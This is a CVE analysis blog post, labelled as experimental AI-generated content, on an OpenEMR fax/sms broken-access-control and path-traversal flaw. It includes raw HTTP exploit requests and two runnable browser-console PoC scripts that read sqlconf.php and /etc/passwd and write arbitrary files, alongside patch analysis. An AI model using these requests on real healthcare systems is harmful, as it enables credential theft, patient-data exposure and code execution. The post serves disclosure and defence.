Automated Threat Modeling

Brief Summary: OpenEMR CVE-2026-124450 Broken Access Control and Path Traversal in the fax/sms disposeDocument Action (with PoC)

A summary of CVE-2026-124450, an authenticated arbitrary file read and write flaw in OpenEMR's fax/sms module. Includes a public PoC and patch analysis for the OpenEMR 8.3.0 fix.

CVE Analysis

11 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-08

Brief Summary: OpenEMR CVE-2026-124450 Broken Access Control and Path Traversal in the fax/sms disposeDocument Action (with PoC)
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A low privilege clerical account in OpenEMR, the kind of login handed to front office staff for checking patient demographics, turned out to be enough to read the database credentials off disk and drop a file onto the server as the web user. For practices running the bundled fax/sms module with RingCentral or SignalWire configured, that path led from a view demographics permission all the way to remote code execution.

OpenEMR is an open source electronic health records and medical practice management system maintained by a community of volunteers under the OpenEMR Foundation, a 501(c)(3) nonprofit. It describes itself as the most popular open source EHR of its kind, and HHS HC3 historically reported it in use by more than 100,000 medical providers serving more than 200 million patients. Because it handles protected health information at that scale, authorization flaws in its document handling carry real weight for the healthcare sector.

Technical Information

The core problem in CVE-2026-124450 is a mismatch between what the request layer authorizes and what the filesystem code trusts, made worse by three copies of the same handler drifting apart over time.

The vulnerable action is reached through interface/modules/custom_modules/oe-module-faxsms/index.php using _ACTION_COMMAND=fax/disposeDocument. The attacker controls the file_path parameter, and the advisory describes separate download and setup branches for reading and writing files. The official weakness classification is CWE-73, External Control of File Name or Path.

Authorization fails before any unsafe file operation

AppDispatch::routeAction enforces only two things: that the action is on an allowlist, and that a valid CSRF token is present. It does not authenticate the caller. The construction time ACL gate defaults to:

aclCheckCore('patients', 'demo')

That permission grants demographic viewing. It is not the patients/docs permission that a document operation should require. Each action is expected to enforce its own authorization by calling an authenticate() method, but the vulnerable clients never do.

Three copies of one handler that drifted apart

In OpenEMR 8.2.0, each fax vendor client carried its own copy of disposeDocument. After the earlier CVE-2026-24848, the EtherFax copy (EtherFaxActions::disposeDocument) was hardened with an ACL check, path containment, an extension allowlist, and an executable content guard. The RingCentral (RCFaxClient) and SignalWire (SignalWireClient) copies received none of these. They took the request parameter directly:

$where = $this->getRequest('file_path');

and passed it straight to sendFile($where) for reads and to file_put_contents($where, ...) for writes, with no authentication, no path containment, no extension validation, and no executable content check.

ImplementationProtectionsScope
RCFaxClient::disposeDocumentNone of authentication, containment, extension, or content checksArbitrary read confirmed live; write reproduction documented
SignalWireClient::disposeDocumentSame omissionsAssessed through code review, not separately executed
EtherFaxActions::disposeDocumentAuthentication, path containment, extension allowlist, executable content checksProtected reference implementation

Read and write primitives

For action=download, the supplied path flows through sendFile, decryptFileBytes, and file_get_contents. The decryption helper returns non encrypted input unchanged, so the read is not confined to encrypted fax artifacts. The researcher demonstrated disclosure of sites/default/sqlconf.php, which exposes $login, $pass, $host, and $dbase, and also confirmed access to /etc/passwd.

For action=setup, the supplied content is decoded, processed for filesystem encryption, and written using file_put_contents to the supplied path with no path or extension check. With drive_encryption disabled, the content is written verbatim; code execution follows when the destination is served and executed as PHP by the web server. With encryption enabled, arbitrary overwrite or corruption remains possible.

Attack flow

  1. Authenticate as any low privilege account holding the patients/demo ACL (a typical clinical or clerical login) against an install where the fax/sms module is active and the vendor is RingCentral or SignalWire.
  2. Mint a contact-form CSRF token by fetching the fax UI, whose response contains let csrfToken="<hex>".
  3. For reads, issue a GET to the disposeDocument download branch with file_path set to an absolute path such as the sqlconf.php location or /etc/passwd.
  4. For writes, POST to the setup branch with a base64 content payload and an absolute file_path, writing a file as the web user.

Two tensions make this instructive. A CSRF token can be valid while authorization is still insufficient, so request validation does not replace permission checks. And encrypted storage can coexist with a dangerous file access primitive, because transforming written bytes does not establish an authorized destination.

Proof of Concept

A working, publicly available PoC exists and has been verified end to end. The OpenEMR GitHub Security Advisory GHSA-wf4w-mx2w-j4vv, authored by reporter 4nt11, publishes full request level reproduction steps and attaches two runnable browser console scripts. The scripts carry headers stating they were confirmed against openemr/openemr:8.2.0 (dated 2026-07-16), reading /etc/passwd and sqlconf.php and demonstrating the write round trip. The write PoC is deliberately non destructive: it writes a benign marker then reads it back.

Preconditions

  1. FaxSMS module installed and active.
  2. Active fax vendor is RingCentral (oefax_enable_fax=1, or SMS oefax_enable_sms=1) producing RCFaxClient, or SignalWire (oefax_enable_fax=6) producing SignalWireClient.
  3. An authenticated session for any role holding patients/demo. The reporter confirmed both read and write live over HTTPS using a non admin Front Office (clerk) account.

HTTP reproduction from the advisory

Step 1, mint a contact-form CSRF token (authenticated GET; the response contains let csrfToken="<hex>"):

GET /interface/modules/custom_modules/oe-module-faxsms/messageUI.php?type=fax&site=default

Step 2, arbitrary file read (the download branch accepts GET; routing params must be in the query string):

GET /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=fax/disposeDocument&action=download&file_path=/var/www/localhost/htdocs/openemr/sites/default/sqlconf.php&csrf_token_form=<token> Cookie: <authenticated session>

The server responds 200 with Content-Disposition: attachment; filename=sqlconf.php and the file body.

Step 3, arbitrary file write (routing in the query string, the rest in the POST body):

POST /interface/modules/custom_modules/oe-module-faxsms/index.php?type=fax&_ACTION_COMMAND=fax/disposeDocument Content-Type: application/x-www-form-urlencoded Cookie: <authenticated session> action=setup&file_path=<absolute target>&content=<base64 payload>&csrf_token_form=<token>

file_put_contents writes to the absolute target with no path or extension check (verbatim content when drive_encryption is off).

Attached browser console PoC, arbitrary read

(async () => { const TARGET = '/var/www/localhost/htdocs/openemr/sites/default/sqlconf.php'; const base = location.origin; const mod = '/interface/modules/custom_modules/oe-module-faxsms'; // 1) mint a valid 'contact-form' CSRF token from the fax UI (uses your real session) const ui = await (await fetch(`${base}${mod}/messageUI.php?type=fax&site=default`, {credentials:'include'})).text(); const m = ui.match(/csrfToken\s*=\s*["']?([a-f0-9]{16,})/); if (!m) { console.error('No token. messageUI body starts:', ui.slice(0,200)); return; } console.log('[+] contact-form token:', m[1]); // 2) EXPLOIT: disposeDocument download branch streams an arbitrary path (routing in query string) const qs = new URLSearchParams({ type:'fax', _ACTION_COMMAND:'fax/disposeDocument', action:'download', file_path: TARGET, csrf_token_form: m[1] }); const res = await fetch(`${base}${mod}/index.php?${qs}`, {credentials:'include'}); const t = await res.text(); console.log('[+] HTTP', res.status, '| content-disposition:', res.headers.get('content-disposition')); console.log('==== LEAKED FILE (' + TARGET + ') ====\n' + t); })();

Attached browser console PoC, arbitrary write (non destructive round trip)

(async () => { const base = location.origin; const mod = '/interface/modules/custom_modules/oe-module-faxsms'; const TARGET = '/var/www/localhost/htdocs/openemr/sites/default/documents/write_proof.txt'; const tok = (await (await fetch(`${base}${mod}/messageUI.php?type=fax&site=default`, {credentials:'include'})).text()) .match(/csrfToken\s*=\s*["']?([a-f0-9]{16,})/)[1]; console.log('[+] token:', tok); const marker = 'ARBITRARY_WRITE_' + Date.now(); // WRITE: routing (_ACTION_COMMAND,type) in query; action/content/file_path/csrf in POST body const wq = new URLSearchParams({type:'fax', _ACTION_COMMAND:'fax/disposeDocument'}); const wbody = new URLSearchParams({action:'setup', content: btoa(marker), file_path: TARGET, csrf_token_form: tok}); const wres = await fetch(`${base}${mod}/index.php?${wq}`, { method:'POST', credentials:'include', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body: wbody}); console.log('[write] HTTP', wres.status, '->', await wres.text()); // READ BACK: prove the exact path now holds our content (decrypted on the way out) const rq = new URLSearchParams({type:'fax', _ACTION_COMMAND:'fax/disposeDocument', action:'download', file_path: TARGET, csrf_token_form: tok}); const back = await (await fetch(`${base}${mod}/index.php?${rq}`, {credentials:'include'})).text(); console.log('[read-back] expected:', marker); console.log('[read-back] actual :', back.trim()); console.log(back.trim() === marker ? '[+] ARBITRARY WRITE CONFIRMED (round-trip match)' : '[!] mismatch, inspect above'); })();

Patch Information

The issue is fixed in OpenEMR 8.3.0, tagged v8_3_0 and published on 2026-08-18. The vendor advisory GHSA-wf4w-mx2w-j4vv lists <8.3.0 as vulnerable and 8.3.0 as patched, and the release notes include it under Security Fixes as a Critical item. The same release also fixes two related reports on the same code path: GHSA-x2vr-jgg8-c57c (RCFaxClient/SignalWireClient disposeDocument file read/write) and GHSA-38jw-pwgq-9hpj (oe-module-faxsms file read/write leading to possible RCE). No single standalone fix commit was found in the public sources; the analysis below compares the vulnerable code described in the advisories with the source shipped at the v8_3_0 tag.

One shared, hardened implementation

Rather than adding guards to each client separately, the patch moves the whole flow into a new trait, FaxDocumentDisposalTrait. In 8.3.0, RCFaxClient no longer defines its own disposeDocument. It now uses FaxDocumentDisposalTrait and implements FaxDocumentDisposalInterface. The trait's docblock states it is shared by every fax vendor client (EtherFax, RingCentral, SignalWire), so there is a single copy that cannot drift. Each request now runs these checks in order.

  1. Per action authorization. The method rejects the caller with HTTP 403 before reading any path:
if (!$this->authorizeDocumentAccess()) { http_response_code(403); return $this->disposalResponse(['success' => false, 'message' => xlt('Unauthorized')]); } ... protected function authorizeDocumentAccess(): bool { return AclMain::aclCheckCore('patients', 'docs'); }

This replaces the old situation where the only gate was the module wide patients/demo (view demographics) check. A fax file is a patient document, so the patch requires the documents permission.

  1. Path containment. The file_path from the request is normalized and must resolve inside the module's temporary base directory ($this->baseDir, which RCFaxClient sets from the temporary_files_dir global):
$allowedRoot = realpath($this->baseDir) ?: $this->baseDir; $targetPath = $this->normalizePath($where); if (!$this->isPathAllowed($targetPath, $allowedRoot)) { ... http_response_code(403); return $this->disposalResponse(['success' => false, 'message' => xlt('Access denied')]); }

isPathAllowed() runs realpath() on the target, falling back to the parent directory if the file does not exist yet. pathWithinRoot() then compares the result against the root with a trailing separator, so a sibling directory such as <root>_evil that only shares the string prefix is rejected:

$root = rtrim($root, DIRECTORY_SEPARATOR); return $path === $root || str_starts_with($path, $root . DIRECTORY_SEPARATOR);

Absolute paths such as sites/default/sqlconf.php or /etc/passwd fall outside the root, so they never reach sendFile(). The download branch also requires is_file($targetPath).

  1. Write hardening (action=setup). Before anything touches disk: only pdf, tif, tiff, and txt extensions are accepted; decoding uses strict base64_decode($content, true); an executable content guard (containsExecutableCode()) rejects payloads whose first 1 MB matches /<\?(php|=)|<script\b/i; and content is written encrypted to a tempnam() file with LOCK_EX, renamed into place, then set to chmod 0660. Together these block the webshell path even where drive_encryption is off.

  2. Safe failure. A setup without content creates no file, unknown actions return Unsupported action, and denials are logged through ServiceContainer::getLogger()->warning(...).

Why this design matters

The original reporter noted that the real flaw was per vendor divergence, not one missing line. Patching only RingCentral and SignalWire would have left the same trap for the next vendor added. One trait now holds the authorization and containment logic, so any client that adopts it inherits all the checks.

Scope note

The patch is specific to disposeDocument. The reporter also listed other routable fax/sms actions that skip authenticate(), such as faxProcessUploads, getUser, and getNotificationLog. In the 8.3.0 RCFaxClient.php reviewed, getUser() and getNotificationLog() still do not call authenticate(), which is worth knowing when auditing the module beyond this CVE.

Affected Systems and Versions

  • OpenEMR before 8.3.0. The vendor advisory lists <8.3.0 as vulnerable and 8.3.0 as patched. The detailed report analyzes an 8.2.0 refactor and the attached PoC scripts were confirmed against openemr/openemr:8.2.0.
  • Documented exploitation conditions require: the FaxSMS module installed and active; the active fax vendor set to RingCentral (oefax_enable_fax=1 or oefax_enable_sms=1, producing RCFaxClient) or SignalWire (oefax_enable_fax=6, producing SignalWireClient); and an authenticated session for any role holding the patients/demo ACL. Administrator privileges and the document access permission are not required.
  • Remote code execution additionally requires drive_encryption disabled and a writable destination that the web server serves and executes as PHP. The EtherFax implementation was already hardened and is not part of the documented exploit path.

Severity is reported as CVSS 3.1 9.9 in the CVE record and CVSS 4.0 9.3 by NVD, the vendor advisory, and VulnCheck. Both classifications are Critical; the figures refer to different scoring versions.

Vendor Security History

OpenEMR has a documented history of file access vulnerabilities. HHS HC3 reported three earlier issues: an unauthenticated file read, an authenticated local file inclusion, and an authenticated reflected XSS. Sonar reported these to OpenEMR on October 24, 2022, and HHS states that version 7.0.0, released November 30, 2022, included the three patches. That case documents both consequential file access weaknesses and a corrective release. The present advisory adds a related lesson: the 8.2.0 refactor left security checks inconsistent across fax vendor implementations even though a protected EtherFax implementation already existed. OpenEMR maintains public security advisories and accepts private reports through GitHub or [email protected], with encrypted email encouraged where possible.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization